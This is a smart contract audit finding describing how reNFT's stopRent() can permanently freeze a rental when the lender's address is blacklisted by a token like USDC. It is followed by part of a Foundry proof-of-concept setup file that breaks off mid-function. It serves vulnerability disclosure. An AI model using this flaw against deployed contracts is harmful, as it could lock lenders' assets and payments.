`stopRent()` doesn't allow the lender to specify an address to receive the rental payment tokens at, leading to permanent freezal of rental if the lender's address was blacklisted in the token's blacklist. #605
Pre-requisite knowledge & an overview of the features in question
ERC20 Tokens with blocklists: Some tokens (e.g. USDC, USDT) have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden.
The Vulnerability & Exploitation Steps
The vulnerability exists in stopRent() function in the Stop.sol contract. stopRent() is the function responsible for stopping rental orders. For example, if its a BASE order, and it has expired, then anybody can call this function to stop the rental.
Once the function is called, it'll call the function _reclaimRentedItems() which will reclaim the rented items, in other words, it'll move the assets from the borrower's rental safe to the lender. Then it will call settlePayment() in the PaymentEscrow.sol contract and give the his share of the ERC20 tokens.
The problem is that the stopRent() does not let the lender specify an address to receive the ERC20 tokens at after stopping the rental.
This will cause a big issue if the lender's address was added to the token's blacklist for any reason. If this happened, then the rental will be permanently frozen. The borrower will get to keep the NFT he borrowed from the lender forever, and the lender won't even be able to get the funds he should have received in return for renting the NFT to the borrower.
This issue would occur because stopRent() would revert everytime the lender calls it, even after the rental has expired. It would revert because stopRent() will try to call settlePayment() to send the lender his payment, but settlePayment() will revert when it tries to transfer to the lender the ERC20 tokens since his address is blacklisted.
Proof of concept
To run the PoC, you'll need to do the following:
You'll need to add the following two files to the test/ folder:
SetupExploit.sol -> Sets up everything from seaport, gnosis, reNFT contracts
Exploit.sol -> The actual exploit PoC which relies on SetupExploit.sol as a base.
You'll need to run this command
forge test --match-contract Exploit --match-test test_BlacklistERC20Exploit -vvv
Note: All of my 7 PoCs throughout my reports include the SetupExploit.sol. Please do not rely on the previous SetupExploit.sol file if you already had one from another PoC run in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure needed for the exploit
The files:
SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;
import {
ConsiderationItem,
OfferItem,
OrderParameters,
OrderComponents,
Order,
AdvancedOrder,
ItemType,
ItemType as SeaportItemType,
CriteriaResolver,
OrderType as SeaportOrderType,
Fulfillment,
FulfillmentComponent
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {
AdvancedOrderLib,
ConsiderationItemLib,
FulfillmentComponentLib,
FulfillmentLib,
OfferItemLib,
OrderComponentsLib,
OrderLib,
OrderParametersLib,
SeaportArrays,
ZoneParametersLib
} from "@seaport-sol/SeaportSol.sol";
import {
OrderMetadata,
OrderType,
OrderFulfillment,
RentPayload,
RentalOrder,
Item,
SettleTo,
ItemType as RentalItemType
} from "@src/libraries/RentalStructs.sol";
import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol";
import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol";
import {Vm} from "@forge-std/Vm.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {LibString} from "@solady/utils/LibString.sol";
import {SafeL2} from "@safe-contracts/SafeL2.sol";
import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol";
import {Create2Deployer} from "@src/Create2Deployer.sol";
import {Kernel, Actions} from "@src/Kernel.sol";
import {Storage} from "@src/modules/Storage.sol";
import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol";
import {Create} from "@src/policies/Create.sol";
import {Stop} from "@src/policies/Stop.sol";
import {Factory} from "@src/policies/Factory.sol";
import {Admin} from "@src/policies/Admin.sol";
import {Guard} from "@src/policies/Guard.sol";
import {toRole} from "@src/libraries/KernelUtils.sol";
import {Proxy} from "@src/proxy/Proxy.sol";
import {Events} from "@src/libraries/Events.sol";
import {ProtocolAccount} from "@test/utils/Types.sol";
import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol";
import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol";
import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import {ISafe} from "@src/interfaces/ISafe.sol";
// Deploys all V3 protocol contracts
contract Protocol is BaseExternal {
// Kernel
Kernel public kernel;
// Modules
Storage public STORE;
PaymentEscrow public ESCRW;
// Module implementation addresses
Storage public storageImplementation;
PaymentEscrow public paymentEscrowImplementation;
// Policies
Create public create;
Stop public stop;
Factory public factory;
Admin public admin;
Guard public guard;
// Protocol accounts
Vm.Wallet public rentalSigner;
Vm.Wallet public deployer;
// protocol constants
bytes12 public protocolVersion;
bytes32 public salt;
function _deployKernel() internal {
// abi encode the kernel bytecode and constructor arguments
bytes memory kernelInitCode = abi.encodePacked(
type(Kernel).creationCode,
abi.encode(deployer.addr, deployer.addr)
);
// Deploy kernel contract
vm.prank(deployer.addr);
kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode));
// label the contract
vm.label(address(kernel), "kernel");
}
function _deployStorageModule() internal {
// abi encode the storage bytecode and constructor arguments
// for the implementation contract
bytes memory storageImplementationInitCode = abi.encodePacked(
type(Storage).creationCode,
abi.encode(address(0))
);
// Deploy storage implementation contract
vm.prank(deployer.addr);
storageImplementation = Storage(
create2Deployer.deploy(salt, storageImplementationInitCode)
);
// abi encode the storage bytecode and initialization arguments
// for the proxy contract
bytes memory storageProxyInitCode = abi.encodePacked(
type(Proxy).creationCode,
abi.encode(
address(storageImplementation),
abi.encodeWithSelector(
Storage.MODULE_PROXY_INSTANTIATION.selector,
address(kernel)
)
)
);
// Deploy storage proxy contract
vm.prank(deployer.addr);
STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode));
// label the contracts
vm.label(address(STORE), "STORE");
vm.label(address(storageImplementation), "STORE_IMPLEMENTATION");
}
function _deployPaymentEscrowModule() internal {
// abi encode the payment escrow bytecode and constructor arguments
// for the implementation contract
bytes memory paymentEscrowImplementationInitCode = abi.encodePacked(
type(PaymentEscrow).creationCode,
abi.encode(address(0))
);
// Deploy payment escrow implementation contract
vm.prank(deployer.addr);
paymentEscrowImplementation = PaymentEscrow(
create2Deployer.deploy(salt, paymentEscrowImplementationInitCode)
);
// abi encode the payment escrow bytecode and initialization arguments
// for the proxy contract
bytes memory paymentEscrowProxyInitCode = abi.encodePacked(
type(Proxy).creationCode,
abi.encode(
address(paymentEscrowImplementation),
abi.encodeWithSelector(
PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector,
address(kernel)
)
)
);
// Deploy payment escrow contract
vm.prank(deployer.addr);
ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode));
// label the contracts
vm.label(address(ESCRW), "ESCRW");
vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION");
}
function _deployCreatePolicy() internal {
// abi encode the create policy bytecode and constructor arguments
bytes memory createInitCode = abi.encodePacked(
type(Create).creationCode,
abi.encode(address(kernel))
);
// Deploy create rental policy contract
vm.prank(deployer.addr);
create = Create(create2Deployer.deploy(salt, createInitCode));
// label the contract
vm.label(address(create), "CreatePolicy");
}
function _deployStopPolicy() internal {
// abi encode the stop policy bytecode and constructor arguments
bytes memory stopInitCode = abi.encodePacked(
type(Stop).creationCode,
abi.encode(address(kernel))
);
// Deploy stop rental policy contract
vm.prank(deployer.addr);
stop = Stop(create2Deployer.deploy(salt, stopInitCode));
// label the contract
vm.label(address(stop), "StopPolicy");
}
function _deployAdminPolicy() internal {
// abi encode the admin policy bytecode and constructor arguments
bytes memory adminInitCode = abi.encodePacked(
type(Admin).creationCode,
abi.encode(address(kernel))
);
// Deploy admin policy contract
vm.prank(deployer.addr);
admin = Admin(create2Deployer.deploy(salt, adminInitCode));
// label the contract
vm.label(address(admin), "AdminPolicy");
}
function _deployGuardPolicy() internal {
// abi encode the guard policy bytecode and constructor arguments
bytes memory guardInitCode = abi.encodePacked(
type(Guard).creationCode,
abi.encode(address(kernel))
);
// Deploy guard policy contract
vm.prank(deployer.addr);
guard = Guard(create2Deployer.deploy(salt, guardInitCode));
// label the contract
vm.label(address(guard), "GuardPolicy");
}
function _deployFactoryPolicy() internal {
// abi encode the factory policy bytecode and constructor arguments
bytes memory factoryInitCode = abi.encodePacked(
type(Factory).creationCode,
abi.encode(
address(kernel),
address(stop),
address(guard),
address(tokenCallbackHandler),
address(safeProxyFactory),
address(safeSingleton)
)
);
// Deploy factory policy contract
vm.prank(deployer.addr);
factory = Factory(create2Deployer.deploy(salt, factoryInitCode));
// label the contract
vm.label(address(factory), "FactoryPolicy");
}
function _setupKernel() internal {
// Start impersonating the deployer
vm.startPrank(deployer.addr);
// Install modules
kernel.executeAction(Actions.InstallModule, address(STORE));
kernel.executeAction(Actions.InstallModule, address(ESCRW));
// Approve policies
kernel.executeAction(Actions.ActivatePolicy, address(create));
kernel.executeAction(Actions.ActivatePolicy, address(stop));
kernel.executeAction(Actions.ActivatePolicy, address(factory));
kernel.executeAction(Actions.ActivatePolicy, address(guard));
kernel.executeAction(Actions.ActivatePolicy, address(admin));
// Grant `seaport` role to seaport protocol
kernel.grantRole(toRole("SEAPORT"), address(seaport));
// Grant `signer` role to the protocol signer to sign off on create payloads
kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr);
// Grant 'admin_admin` role to the address which can conduct admin operations on the protocol
kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr);
// Grant 'guard_admin` role to the address which can toggle hooks
kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr);
// Grant `stop_admin` role to the address which can skim funds from the payment escrow
kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr);
// Stop impersonating the deployer
vm.stopPrank();
}
function setUp() public virtual override {
// setup dependencies
super.setUp();
// create the rental signer address and private key
rentalSigner = vm.createWallet("rentalSigner");
// create the deployer address and private key
deployer = vm.createWallet("deployer");
// contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract)
protocolVersion = 0x000000000000000000000100;
salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion);
// deploy kernel
_deployKernel();
// Deploy payment escrow
_deployPaymentEscrowModule();
// Deploy rental storage
_deployStorageModule();
// deploy create policy
_deployCreatePolicy();
// deploy stop policy
_deployStopPolicy();
// deploy admin policy
_deployAdminPolicy();
// Deploy guard policy
_deployGuardPolicy();
// deploy rental factory
_deployFactoryPolicy();
// intialize the kernel
_setupKernel();
}
}
// Creates test accounts to interact with the V3 protocol
// Borrowed from test/fixtures/protocol/AccountCreator
contract AccountCreator is Protocol {
// Protocol accounts for testing
ProtocolAccount public alice;
ProtocolAccount public bob;
ProtocolAccount public carol;
ProtocolAccount public dan;
ProtocolAccount public eve;
ProtocolAccount public attacker;
// Mock tokens for testing
MockERC20[] public erc20s;
MockERC721[] public erc721s;
MockERC1155[] public erc1155s;
function setUp() public virtual override {
super.setUp();
// deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens
_deployTokens(3);
// instantiate all wallets and deploy rental safes for each
alice = _fundWalletAndDeployRentalSafe("alice");
bob = _fundWalletAndDeployRentalSafe("bob");
carol = _fundWalletAndDeployRentalSafe("carol");
dan = _fundWalletAndDeployRentalSafe("dan");
eve = _fundWalletAndDeployRentalSafe("eve");
attacker = _fundWalletAndDeployRentalSafe("attacker");
}
function _deployTokens(uint256 numTokens) internal {
for (uint256 i; i < numTokens; i++) {
_deployErc20Token();
_deployErc721Token();
_deployErc1155Token();
}
}
function _deployErc20Token() internal returns (uint256 i) {
// save the token's index
i = erc20s.length;
// deploy the mock token
MockERC20 token = new MockERC20();
// push the token to the array of mocks
erc20s.push(token);
// set the token label with the index
vm.label(address(token), string.concat("MERC20_", LibString.toString(i)));
}
function _deployErc721Token() internal returns (uint256 i) {
// save the token's index
i = erc721s.length;
// deploy the mock token
MockERC721 token = new MockERC721();
// push the token to the array of mocks
erc721s.push(token);
// set the token label with the index
vm.label(address(token), string.concat("MERC721_", LibString.toString(i)));
}
function _deployErc1155Token() internal returns (uint256 i) {
// save the token's index
i = erc1155s.length;
// deploy the mock token
MockERC1155 token = new MockERC1155();
// push the token to the array of mocks
erc1155s.push(token);
// set the token label with the index
vm.label(address(token), string.concat("MERC1155_", LibString.toString(i)));
}
function _deployRentalSafe(
address owner,
string memory name
) internal returns (address safe) {
// Deploy a 1/1 rental safe
address[] memory owners = new address[](1);
owners[0] = owner;
safe = factory.deployRentalSafe(owners, 1);
}
function _fundWalletAndDeployRentalSafe(
string memory name
) internal returns (ProtocolAccount memory account) {
// create a wallet with a address, public key, and private key
Vm.Wallet memory wallet = vm.createWallet(name);
// deploy a rental safe for the address
address rentalSafe = _deployRentalSafe(wallet.addr, name);
// fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s
_allocateTokensAndApprovals(wallet.addr, 10000);
// create an account
account = ProtocolAccount({
addr: wallet.addr,
safe: SafeL2(payable(rentalSafe)),
publicKeyX: wallet.publicKeyX,
publicKeyY: wallet.publicKeyY,
privateKey: wallet.privateKey
});
}
function _allocateTokensAndApprovals(address to, uint128 amount) internal {
// deal ether to the recipient
vm.deal(to, amount);
// mint all erc20 tokens to the recipient
for (uint256 i = 0; i < erc20s.length; ++i) {
erc20s[i].mint(to, amount);
}
// set token approvals
_setApprovals(to);
}
function _setApprovals(address owner) internal {
// impersonate the owner address
vm.startPrank(owner);
// set all approvals for erc20 tokens
for (uint256 i = 0; i < erc20s.length; ++i) {
erc20s[i].approve(address(conduit), type(uint256).max);
}
// set all approvals for erc721 tokens
for (uint256 i = 0; i < erc721s.length; ++i) {
erc721s[i].setApprovalForAll(address(conduit), true);
}
// set all approvals for erc1155 tokens
for (uint256 i = 0; i < erc1155s.length; ++i) {
erc1155s[i].setApprovalForAll(address(conduit), true);
}
// stop impersonating
vm.stopPrank();
}
}
interface ERC1155TokenReceiver {
function onERC1155Received(
address _operator,
address _from,
uint256 _id,
uint256 _value,
bytes calldata _data
) external returns (bytes4);
function onERC1155BatchReceived(
address _operator,
address _from,
uint256[] calldata _ids,
uint256[] calldata _values,
bytes calldata _data
) external returns (bytes4);
}
interface ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* Borrowed from gnosis safe smart contracts
* @title Default Callback Handler - Handles supported tokens' callbacks, allowing Safes receiving these tokens.
* @author Richard Meissner - @rmeissner
*/
contract TokenCallbackHandler is ERC1155TokenReceiver, ERC721TokenReceiver, IERC165 {
/**
* @notice Handles ERC1155 Token callback.
* return Standardized onERC1155Received return value.
*/
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) {
return 0xf23a6e61;
}
/**
* @notice Handles ERC1155 Token batch callback.
* return Standardized onERC1155BatchReceived return value.
*/
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure override returns (bytes4) {
return 0xbc197c81;
}
/**
* @notice Handles ERC721 Token callback.
* return Standardized onERC721Received return value.
*/
function onERC721Received(address, address, uint256, bytes calldata) external pure override returns (bytes4) {
return 0x150b7a02;
}
/**
* @notice Handles ERC777 Token callback.
* return nothing (not standardized)
*/
function tokensReceived(address, address, address, uint256, bytes calldata, bytes calldata) external pure {
// We implement this for completeness, doesn't really have any value
}
/**
* @notice Implements ERC165 interface support for ERC1155TokenReceiver, ERC721TokenReceiver and IERC165.
* @param interfaceId Id of the interface.
* @return if the interface is supported.
*/
function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
return
interfaceId == type(ERC1155TokenReceiver).interfaceId ||
interfaceId == type(ERC721TokenReceiver).interfaceId ||
interfaceId == type(IERC165).interfaceId;
}
}
// Sets up logic in the test engine related to order creation
// Borrowed from test/fixtures/engine/OrderCreator
contract OrderCreator is AccountCreator {
using OfferItemLib for OfferItem;
using ConsiderationItemLib for ConsiderationItem;
using OrderComponentsLib for OrderComponents;
using OrderLib for Order;
using ECDSA for bytes32;
// defines a config for a standard order component
string constant STANDARD_ORDER_COMPONENTS = "standard_order_components";
struct OrderToCreate {
ProtocolAccount offerer;
OfferItem[] offerItems;
ConsiderationItem[] considerationItems;
OrderMetadata metadata;
}
// keeps track of tokens used during a test
uint256[] usedOfferERC721s;
uint256[] usedOfferERC1155s;
uint256[] usedConsiderationERC721s;
uint256[] usedConsiderationERC1155s;
// components of an order
OrderToCreate orderToCreate;
function setUp() public virtual override {
super.setUp();
// Define a standard OrderComponents struct which is ready for
// use with the Create Policy and the protocol conduit contract
OrderComponentsLib
.empty()
.withOrderType(SeaportOrderType.FULL_RESTRICTED)
.withZone(address(create))
.withStartTime(block.timestamp)
.withEndTime(block.timestamp + 100)
.withSalt(123456789)
.withConduitKey(conduitKey)
.saveDefault(STANDARD_ORDER_COMPONENTS);
// for each test token, create a storage slot
for (uint256 i = 0; i < erc721s.length; i++) {
usedOfferERC721s.push();
usedConsiderationERC721s.push();
usedOfferERC1155s.push();
usedConsiderationERC1155s.push();
}
}
/////////////////////////////////////////////////////////////////////////////////
// Order Creation //
/////////////////////////////////////////////////////////////////////////////////
// creates an order based on the provided context. The defaults on this order
// are good for most test cases.
function createOrder(
ProtocolAccount memory offerer,
OrderType orderType,
uint256 erc721Offers,
uint256 erc1155Offers,
uint256 erc20Offers,
uint256 erc721Considerations,
uint256 erc1155Considerations,
uint256 erc20Considerations
) internal {
// require that the number of offer items or consideration items
// dont exceed the number of test tokens
require(
erc721Offers <= erc721s.length &&
erc721Offers <= erc1155s.length &&
erc20Offers <= erc20s.length,
"TEST: too many offer items defined"
);
require(
erc721Considerations <= erc721s.length &&
erc1155Considerations <= erc1155s.length &&
erc20Considerations <= erc20s.length,
"TEST: too many consideration items defined"
);
// create the offerer
_createOfferer(offerer);
// add the offer items
_createOfferItems(erc721Offers, erc1155Offers, erc20Offers);
// create the consideration items
_createConsiderationItems(
erc721Considerations,
erc1155Considerations,
erc20Considerations
);
// Create order metadata
_createOrderMetadata(orderType);
}
// Creates an offerer on the order to create
function _createOfferer(ProtocolAccount memory offerer) private {
orderToCreate.offerer = offerer;
}
// Creates offer items which are good for most tests
function _createOfferItems(
uint256 erc721Offers,
uint256 erc1155Offers,
uint256 erc20Offers
) private {
// generate the ERC721 offer items
for (uint256 i = 0; i < erc721Offers; ++i) {
// create the offer item
orderToCreate.offerItems.push(
OfferItemLib
.empty()
.withItemType(ItemType.ERC721)
.withToken(address(erc721s[i]))
.withIdentifierOrCriteria(usedOfferERC721s[i])
.withStartAmount(1)
.withEndAmount(1)
);
// mint an erc721 to the offerer
erc721s[i].mint(orderToCreate.offerer.addr);
// update the used token so it cannot be used again in the same test
usedOfferERC721s[i]++;
}
// generate the ERC1155 offer items
for (uint256 i = 0; i < erc1155Offers; ++i) {
// create the offer item
orderToCreate.offerItems.push(
OfferItemLib
.empty()
.withItemType(ItemType.ERC1155)
.withToken(address(erc1155s[i]))
.withIdentifierOrCriteria(usedOfferERC1155s[i])
.withStartAmount(100)
.withEndAmount(100)
);
// mint an erc1155 to the offerer
erc1155s[i].mint(orderToCreate.offerer.addr, 100);
// update the used token so it cannot be used again in the same test
usedOfferERC1155s[i]++;
}
// generate the ERC20 offer items
for (uint256 i = 0; i < erc20Offers; ++i) {
// create the offer item
orderToCreate.offerItems.push(
OfferItemLib
.empty()
.withItemType(ItemType.ERC20)
.withToken(address(erc20s[i]))
.withStartAmount(100)
.withEndAmount(100)
);
}
}
// Creates consideration items that are good for most tests
function _createConsiderationItems(
uint256 erc721Considerations,
uint256 erc1155Considerations,
uint256 erc20Considerations
) private {
// generate the ERC721 consideration items
for (uint256 i = 0; i < erc721Considerations; ++i) {
// create the consideration item, and set the recipient as the offerer's
// rental safe address
orderToCreate.considerationItems.push(
ConsiderationItemLib
.empty()
.withRecipient(address(orderToCreate.offerer.safe))
.withItemType(ItemType.ERC721)
.withToken(address(erc721s[i]))
.withIdentifierOrCriteria(usedConsiderationERC721s[i])
.withStartAmount(1)
.withEndAmount(1)
);
// update the used token so it cannot be used again in the same test
usedConsiderationERC721s[i]++;
}
// generate the ERC1155 consideration items
for (uint256 i = 0; i < erc1155Considerations; ++i) {
// create the consideration item, and set the recipient as the offerer's
// rental safe address
orderToCreate.considerationItems.push(
ConsiderationItemLib
.empty()
.withRecipient(address(orderToCreate.offerer.safe))
.withItemType(ItemType.ERC1155)
.withToken(address(erc1155s[i]))
.withIdentifierOrCriteria(usedConsiderationERC1155s[i])
.withStartAmount(100)
.withEndAmount(100)
);
// update the used token so it cannot be used again in the same test
usedConsiderationERC1155s[i]++;
}
// generate the ERC20 consideration items
for (uint256 i = 0; i < erc20Considerations; ++i) {
// create the offer item
orderToCreate.considerationItems.push(
ConsiderationItemLib
.empty()
.withRecipient(address(ESCRW))
.withItemType(ItemType.ERC20)
.withToken(address(erc20s[i]))
.withStartAmount(100)
.withEndAmount(100)
);
}
}
// Creates a order metadata that is good for most tests
function _createOrderMetadata(OrderType orderType) private {
// Create order metadata
orderToCreate.metadata.orderType = orderType;
orderToCreate.metadata.rentDuration = 500;
orderToCreate.metadata.emittedExtraData = new bytes(0);
}
// creates a signed seaport order ready to be fulfilled by a renter
function _createSignedOrder(
ProtocolAccount memory _offerer,
OfferItem[] memory _offerItems,
ConsiderationItem[] memory _considerationItems,
OrderMetadata memory _metadata
) private view returns (Order memory order, bytes32 orderHash) {
// Build the order components
OrderComponents memory orderComponents = OrderComponentsLib
.fromDefault(STANDARD_ORDER_COMPONENTS)
.withOfferer(_offerer.addr)
.withOffer(_offerItems)
.withConsideration(_considerationItems)
.withZoneHash(create.getOrderMetadataHash(_metadata))
.withCounter(seaport.getCounter(_offerer.addr));
// generate the order hash
orderHash = seaport.getOrderHash(orderComponents);
// generate the signature for the order components
bytes memory signature = _signSeaportOrder(_offerer.privateKey, orderHash);
// create the order, but dont provide a signature if its a PAYEE order.
// Since PAYEE orders are fulfilled by the offerer of the order, they
// dont need a signature.
if (_metadata.orderType == OrderType.PAYEE) {
order = OrderLib.empty().withParameters(orderComponents.toOrderParameters());
} else {
order = OrderLib
.empty()
.withParameters(orderComponents.toOrderParameters())
.withSignature(signature);
}
}
function _signSeaportOrder(
uint256 signerPrivateKey,
bytes32 orderHash
) private view returns (bytes memory signature) {
// fetch domain separator from seaport
(, bytes32 domainSeparator, ) = seaport.information();
// sign the EIP-712 digest
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
signerPrivateKey,
domainSeparator.toTypedDataHash(orderHash)
);
// encode the signature
signature = abi.encodePacked(r, s, v);
}
/////////////////////////////////////////////////////////////////////////////////
// Order Amendments //
/////////////////////////////////////////////////////////////////////////////////
function resetOrderToCreate() internal {
delete orderToCreate;
}
function withOfferer(ProtocolAccount memory _offerer) internal {
orderToCreate.offerer = _offerer;
}
function resetOfferer() internal {
delete orderToCreate.offerer;
}
function withReplacedOfferItems(OfferItem[] memory _offerItems) internal {
// reset all current offer items
resetOfferItems();
// add the new offer items to storage
for (uint256 i = 0; i < _offerItems.length; i++) {
orderToCreate.offerItems.push(_offerItems[i]);
}
}
function withOfferItem(OfferItem memory offerItem) internal {
orderToCreate.offerItems.push(offerItem);
}
function resetOfferItems() internal {
delete orderToCreate.offerItems;
}
function popOfferItem() internal {
orderToCreate.offerItems.pop();
}
function withReplacedConsiderationItems(
ConsiderationItem[] memory _considerationItems
) internal {
// reset all current consideration items
resetConsiderationItems();
// add the new consideration items to storage
for (uint256 i = 0; i < _considerationItems.length; i++) {
orderToCreate.considerationItems.push(_considerationItems[i]);
}
}
function withConsiderationItem(ConsiderationItem memory considerationItem) internal {
orderToCreate.considerationItems.push(considerationItem);
}
function resetConsiderationItems() internal {
delete orderToCreate.considerationItems;
}
function popConsiderationItem() internal {
orderToCreate.considerationItems.pop();
}
function withHooks(Hook[] memory hooks) internal {
// delete the current metatdata hooks
delete orderToCreate.metadata.hooks;
// add each metadata hook to storage
for (uint256 i = 0; i < hooks.length; i++) {
orderToCreate.metadata.hooks.push(hooks[i]);
}
}
function withOrderMetadata(OrderMetadata memory _metadata) internal {
// update the static metadata parameters
orderToCreate.metadata.orderType = _metadata.orderType;
orderToCreate.metadata.rentDuration = _metadata.rentDuration;
orderToCreate.metadata.emittedExtraData = _metadata.emittedExtraData;
// update the hooks
withHooks(_metadata.hooks);
}
function resetOrderMetadata() internal {
delete orderToCreate.metadata;
}
/////////////////////////////////////////////////////////////////////////////////
// Order Finalization //
/////////////////////////////////////////////////////////////////////////////////
function finalizeOrder()
internal
returns (Order memory, bytes32, OrderMetadata memory)
{
// create and sign the order
(Order memory order, bytes32 orderHash) = _createSignedOrder(
orderToCreate.offerer,
orderToCreate.offerItems,
orderToCreate.considerationItems,
orderToCreate.metadata
);
// pull order metadata into memory
OrderMetadata memory metadata = orderToCreate.metadata;
// clear structs
resetOrderToCreate();
return (order, orderHash, metadata);
}
}
// Sets up logic in the test engine related to order fulfillment
// Borrowed from test/fixtures/engine/OrderFulfiller
contract OrderFulfiller is OrderCreator {
using ECDSA for bytes32;
struct OrderToFulfill {
bytes32 orderHash;
RentPayload payload;
AdvancedOrder advancedOrder;
}
// components of a fulfillment
ProtocolAccount fulfiller;
OrderToFulfill[] ordersToFulfill;
Fulfillment[] seaportMatchOrderFulfillments;
FulfillmentComponent[][] seaportOfferFulfillments;
FulfillmentComponent[][] seaportConsiderationFulfillments;
address seaportRecipient;
/////////////////////////////////////////////////////////////////////////////////
// Fulfillment Creation //
/////////////////////////////////////////////////////////////////////////////////
// creates an order fulfillment
function createOrderFulfillment(
ProtocolAccount memory _fulfiller,
Order memory order,
bytes32 orderHash,
OrderMetadata memory metadata
) internal {
// set the fulfiller account
fulfiller = _fulfiller;
// set the recipient of any offer items after an order is fulfilled. If the fulfillment is via
// `matchAdvancedOrders`, then any unspent offer items will go to this address as well
seaportRecipient = address(_fulfiller.safe);
// get a pointer to a new order to fulfill
OrderToFulfill storage orderToFulfill = ordersToFulfill.push();
// create an order fulfillment
OrderFulfillment memory fulfillment = OrderFulfillment(address(_fulfiller.safe));
// add the order hash and fulfiller
orderToFulfill.orderHash = orderHash;
// create rental zone payload data
_createRentalPayload(
orderToFulfill.payload,
RentPayload(fulfillment, metadata, block.timestamp + 100, _fulfiller.addr)
);
// generate the signature for the payload
bytes memory signature = _signProtocolOrder(
rentalSigner.privateKey,
create.getRentPayloadHash(orderToFulfill.payload)
);
// create an advanced order from the order. Pass the rental
// payload as extra data
_createAdvancedOrder(
orderToFulfill.advancedOrder,
AdvancedOrder(
order.parameters,
1,
1,
order.signature,
abi.encode(orderToFulfill.payload, signature)
)
);
}
function _createOrderFulfiller(
ProtocolAccount storage storageFulfiller,
ProtocolAccount memory _fulfiller
) private {
storageFulfiller.addr = _fulfiller.addr;
storageFulfiller.safe = _fulfiller.safe;
storageFulfiller.publicKeyX = _fulfiller.publicKeyX;
storageFulfiller.publicKeyY = _fulfiller.publicKeyY;
storageFulfiller.privateKey = _fulfiller.privateKey;
}
function _createOrderFulfillment(
OrderFulfillment storage storageFulfillment,
OrderFulfillment memory fulfillment
) private {
storageFulfillment.recipient = fulfillment.recipient;
}
function _createOrderMetadata(
OrderMetadata storage storageMetadata,
OrderMetadata memory metadata
) private {
// Create order metadata in storage
storageMetadata.orderType = metadata.orderType;
storageMetadata.rentDuration = metadata.rentDuration;
storageMetadata.emittedExtraData = metadata.emittedExtraData;
// dynamically push the hooks from memory to storage
for (uint256 i = 0; i < metadata.hooks.length; i++) {
storageMetadata.hooks.push(metadata.hooks[i]);
}
}
function _createRentalPayload(
RentPayload storage storagePayload,
RentPayload memory payload
) private {
// set payload fulfillment on the order to fulfill
_createOrderFulfillment(storagePayload.fulfillment, payload.fulfillment);
// set payload metadata on the order to fulfill
_createOrderMetadata(storagePayload.metadata, payload.metadata);
// set payload expiration on the order to fulfill
storagePayload.expiration = payload.expiration;
// set payload intended fulfiller on the order to fulfill
storagePayload.intendedFulfiller = payload.intendedFulfiller;
}
function _createAdvancedOrder(
AdvancedOrder storage storageAdvancedOrder,
AdvancedOrder memory advancedOrder
) private {
// create the order parameters on the order to fulfill
_createOrderParameters(storageAdvancedOrder.parameters, advancedOrder.parameters);
// create the rest of the static parameters on the order to fulfill
storageAdvancedOrder.numerator = advancedOrder.numerator;
storageAdvancedOrder.denominator = advancedOrder.denominator;
storageAdvancedOrder.signature = advancedOrder.signature;
storageAdvancedOrder.extraData = advancedOrder.extraData;
}
function _createOrderParameters(
OrderParameters storage storageOrderParameters,
OrderParameters memory orderParameters
) private {
// create the static order parameters for the order to fulfill
storageOrderParameters.offerer = orderParameters.offerer;
storageOrderParameters.zone = orderParameters.zone;
storageOrderParameters.orderType = orderParameters.orderType;
storageOrderParameters.startTime = orderParameters.startTime;
storageOrderParameters.endTime = orderParameters.endTime;
storageOrderParameters.zoneHash = orderParameters.zoneHash;
storageOrderParameters.salt = orderParameters.salt;
storageOrderParameters.conduitKey = orderParameters.conduitKey;
storageOrderParameters.totalOriginalConsiderationItems = orderParameters
.totalOriginalConsiderationItems;
// create the dynamic order parameters for the order to fulfill
for (uint256 i = 0; i < orderParameters.offer.length; i++) {
storageOrderParameters.offer.push(orderParameters.offer[i]);
}
for (uint256 i = 0; i < orderParameters.consideration.length; i++) {
storageOrderParameters.consideration.push(orderParameters.consideration[i]);
}
}
function _createSeaportFulfillment(
Fulfillment storage storageFulfillment,
Fulfillment memory fulfillment
) private {
// push the offer components to storage
for (uint256 i = 0; i < fulfillment.offerComponents.length; i++) {
storageFulfillment.offerComponents.push(fulfillment.offerComponents[i]);
}
// push the consideration components to storage
for (uint256 i = 0; i < fulfillment.considerationComponents.length; i++) {
storageFulfillment.considerationComponents.push(
fulfillment.considerationComponents[i]
);
}
}
function _seaportItemTypeToRentalItemType(
SeaportItemType seaportItemType
) internal pure returns (RentalItemType) {
